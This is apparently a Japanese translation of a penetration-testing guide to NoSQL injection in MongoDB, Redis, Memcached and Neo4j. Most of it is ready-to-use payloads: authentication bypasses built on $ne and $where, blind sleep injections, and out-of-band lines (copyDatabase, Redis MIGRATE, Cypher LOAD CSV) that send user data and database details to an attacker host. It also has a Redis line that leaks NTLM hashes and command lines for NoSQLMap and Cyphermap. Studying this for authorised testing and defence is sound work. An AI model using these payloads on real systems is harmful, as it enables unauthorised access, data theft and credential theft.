ソース:
脆弱性:NoSQL
訳:
イントロ
この記事では、アプリケーションをテストして、 NoSQLインジェクションの脆弱性を見つける方法について説明し。
次のような SQL (構造化照会言語) を使用しないさまざまなデータベースで。
- キー値指向のデータベース ( Redis | Memcached | DynamoDB )
- ドキュメント指向データベース ( MongoDB | CouchDB )
- ワイドカラム指向データベース ( Apache Cassandra )
- グラフ指向データベース ( neo4j )
Source: NoSQL Database — What is NoSQL? | Microsoft Azure
さらに、Cypher Query Language をテストするペイロードもあります。
アプリケーション エントリポイントを特定したことを前提としています、AppSec Tales XI | AppSec Tales XI 入力の検証 :
以下の表は、ガイドラインの概要を示しています。
ガイドラインはデータベースを特定することから始まりますが、ブラックボックステスト中にデータベースのみに依存することはお勧めできません。
アプリケーションは NoSQL 攻撃を受けやすい脆弱なサードパーティのメカニズムを使用している可能性があるため、とにかくすべてのペイロードを使用することが重要です。
I. DB の識別 — ポートスキャン
ターゲット上でバナーを取得してポート スキャンを実行します。
使用 nmap
データベースが別のポートで動作する場合があるため、バナー取得を使用して完全なポート スキャンを実行し。
nmap -p- -sV TARGET_IP
Default ports regarding the most common NoSQL databases (MongoDB, Cassandra, Redis, CouchDB, Memcached, DynamoDB, Neo4j, ElasticSearch)
より複雑なアプリケーションのほとんどは、別のサーバーにある外部データベースを使用します。
この場合、ポート スキャンでは見つかりません。
II. DB の識別 — ウェブフィンガープリント
拡張機能を使用して Wappalyzer データベースを確認します。
この方法でデータベースを取得することはまれですが、試してみる価値はあります。
Ⅲ. DB の識別 — 応答
いくつかの基本的なリクエストを作成し、その応答を観察します。
- ログイン ページ、パスワード リセット、アカウント編集ページなど、データベースを使用する可能性のあるコンポーネントをターゲットにし、応答を観察します。
- 情報公開によりDBを取得する場合もあります。
以下の正規表現を使用した Burp Suite Pro 検索機能を使用して、このプロセスを高速化できます。
Mongo|Cassandra|cql://|Redis|CouchDB|Memcached|DynamoDB|Neo4j|bolt://|ElasticSearch
URL から列挙するための DB 固有のエンドポイントが見つかりませんでした。
見つけたら、私に知らせるか、 crimson wordlist に直接投稿してください。
IV. DB 識別 - エラー
意図的にエラーをトリガーし、応答本文を分析します。
次の説明に従って、ターゲットが特殊文字をどのように処理するかを確認してください。
- リクエストのすべての部分で長すぎるデータを使用します。
簡素化されたリクエストパーツ- 「色付き」
- NoSQL エラーベースのポリグロットを挿入し、応答を観察します。
①
'"\/$[].>
②
'"`{
;$Foo}
$Foo \xYZ
③
'\"`{\r;$Foo}\n$Foo \\xYZ\u0000
Example application error that reveals the underlying NoSQL database.
トリガーされたエラーを確認してください。
エラー メッセージ内に、特定のデータベース構文またはデータベース名を直接対象とするデータベース クエリ部分が漏洩している可能性があります。
V. NoSQLI 検出 - SQLI テスト
以下で説明されているように SQLI をテストします。
SQLI のカジュアルな検出中に、NoSQLI 脆弱性の手がかりが見つかる可能性があります。
たとえば、一重引用符によってエラーが発生する可能性があり。
VI. NoSQLI 検出 — 論理演算子
論理演算子 NoSQLI ペイロードを使用してデータを抽出する | 認証をバイパスします。
・Not equal
{"$ne":7}
[$ne]=7
・Greater than
{"$gt":0}
[$gt]=0
・Exists
{"$exists":true}
[$exists]=true
・In
{"$in":["admin","administrator"]}
[$in][]=admin&user[$in][]=administrator
・Where
{"user": "test","$where": "1"}
user=test&$where=1
・And
{"$and": [ {"id": 1}, {"id": 2} ]}
$and[0][id]=1&$and[1][id]=2
# EQUAL TO:
・Or
{"$or": [ {"id": 1}, {"id": true} ]}
$and[0][id]=1&$and[1][id]=true
# EQUAL TO: '||'1'=='1'
'||1||'
これが役立つケースは数多くあります。
たとえば、次のような認証をバイパスする場合などで。 password[$ne]=1
またはIDORのような悪用 id[$gt]=1
.
VII. NoSQLI 検出 - ブラインド
応答時間の増加やサーバーとのやり取りに注意して。
・Out-of-bound payloads:
db.copyDatabase("\1\2\3\4\5\6\7",'test','vps_ip:80')
db.copyDatabase("\1\2\3\4\5\6\7",'test','domain_collab:80')
・Sleep payloads:
{"$where": "sleep(100)"}
$where=sleep(100)
;sleep(100);
'+function(){var waitTill = new Date(new Date().getTime() + 5000);while(waitTill > new Date()){};}(this)+'
'%2bfunction(){var waitTill = new Date(new Date().getTime() %2b 5000);while(waitTill > new Date()){};}(this)%2b'
'%2b(function()%7bif(typeof%20dipyx%3d%3d%3d%22undefined%22)%7bvar%20a%3dnew%20Date()%3bdo%7bvar%20b%3dnew%20Date()%3b%7dwhile(b-a%3c20000)%3bdipyx%3d1%3b%7d%7d())%2b'
Request Timer は、プロセスを半自動化するための便利な Burp 拡張機能です。
Ⅷ. NoSQLI 検出 - キー値指向のデータベース
データベース内のキーに追加の値を挿入してみます。
-
以下のペイロードが設定されます
foo
にevil
いくつかの代わりにdefault
アプリケーションが設定する値 (アプリケーションが脆弱な場合):
{key : ["foo", "evil"]}
key[]=foo&key[]=evil
「AppSec Tales XIX |」 CRLF で説明されている CRLF テクニックを使用します。:
"key1 0 3600 4\r\nfoo\r\nset key2 0 3600 4\r\ninject\r\n"
・Out-of-bound Redis payloads:
MIGRATE vps_ip 80 "" 0 5000 KEYS key1 key2 key3
MIGRATE domain_collab 80 "" 0 5000 KEYS key1 key2 key3
・NTLM hash extraction in Redis:
eval "dofile('//YOUR_IP/share')" 0
設計上、何らかのゼロデイを行わずに Redis、Memcached、DynamoDB などのデータベースで NoSQLI を活用することは不可能です。
ただし、それらと通信する API に問題がある可能性があります。
DB 自体よりも API を攻撃しているようなもので。
詳細については、Memcached に関する以下を参照ください。
IX. 暗号クエリ言語インジェクション (CQLI)
CQL 固有のペイロードを使用します。
- 範囲外のペイロード:
WITH 1 as a MATCH (u:user) UNWIND keys(u) as p LOAD CSV FROM 'http://$vps_ip:80/?cypherinject_'%2bp%2b'='%2btoString(u[p]) as l RETURN 0 as _0//
OR+1%3D1+WITH+1+as+a++CALL+dbms.components%28%29+YIELD+name%2C+versions%2C+edition+UNWIND+versions+as+version+LOAD+CSV+FROM+%27http%3A%2F%2F$vps_ip:80%2F%3Fcypherinject_version%3D%27+%2B+version+%2B+%27%26name%3D%27+%2B+name+%2B+%27%26edition%3D%27+%2B+edition+as+l+RETURN+0+as+_0+%2F%2F
WITH 1 as a CALL dbms.info() yield name LOAD CSV FROM 'http://$vps_ip:80/?cypherinject_' %2b name as l RETURN 0 as _0 //
%27+WITH+1+as+a+CALL+dbms.info%28%29+yield+name+LOAD+CSV+FROM+%27http%3A%2F%2F$vps_ip:80%2F%3Fcypherinject_%27+%2B+name+as+l+RETURN+0+as+_0+%2F%2F
WITH 1 as a MATCH (u:user) UNWIND keys(u) as p LOAD CSV FROM 'http://$domain_collab/?cypherinject_'%2bp%2b'='%2btoString(u[p]) as l RETURN 0 as _0//
OR+1%3D1+WITH+1+as+a++CALL+dbms.components%28%29+YIELD+name%2C+versions%2C+edition+UNWIND+versions+as+version+LOAD+CSV+FROM+%27http%3A%2F%2F$domain_collab%2F%3Fcypherinject_version%3D%27+%2B+version+%2B+%27%26name%3D%27+%2B+name+%2B+%27%26edition%3D%27+%2B+edition+as+l+RETURN+0+as+_0+%2F%2F
WITH 1 as a CALL dbms.info() yield name LOAD CSV FROM 'http://$domain_collab/?cypherinject_' %2b name as l RETURN 0 as _0 //
WITH+1+as+a+CALL+dbms.info%28%29+yield+name+LOAD+CSV+FROM+%27http%3A%2F%2F$domain_collab%2F%3Fcypherinject_%27+%2B+name+as+l+RETURN+0+as+_0+%2F%2F
Use Cyphermap:
./cyphermap.py -u "http://TARGET_URL" -d "search=a*" -c "session=cookie" -s Sarah -L
DB が neo4j を使用していて脆弱な場合、上記のペイロードが機能する可能性が高くなります。
ただし、Cypher Injections についてのみ別の記事を書くことができます。 悪用のプロセスについて詳しく知ることは良いことです。
これについては以下で詳しく説明されています。
ツール
このセクションでは、NoSQLI の検出と悪用に役立つツールとワードリストを見つけることができ。
NoSQLMAP - インジェクション攻撃を監査および自動化し、NoSQL データベースの構成の弱点を悪用する SQLmap ツールに似ています。 その目的は、データベースからデータを開示または複製することです。
python NoSQLMap -u "TARGET_URL"
Cyphermap — Cypher データベースをマッピングするためのツール。 ブラインドおよび時間ベースの Cypher インジェクションをサポートします。 このツールはシンプルですが機能的です。
python cyphermap.py -u "TARGET_URL" -d "search=a*" -c "session=cookie" -s Sarah -L
BURP SUITE PRO 拡張機能
- Burp Suite Professional — 自動スキャナーは NoSQLI を検出できませんが、代わりに SQLI を検出し、それが NoSQLI であることが判明する場合があります。
- NoSQLi スキャナ — 自動スキャナ拡張機能。
- Cypher Injection Scanner — 自動スキャナー拡張機能。
単語リスト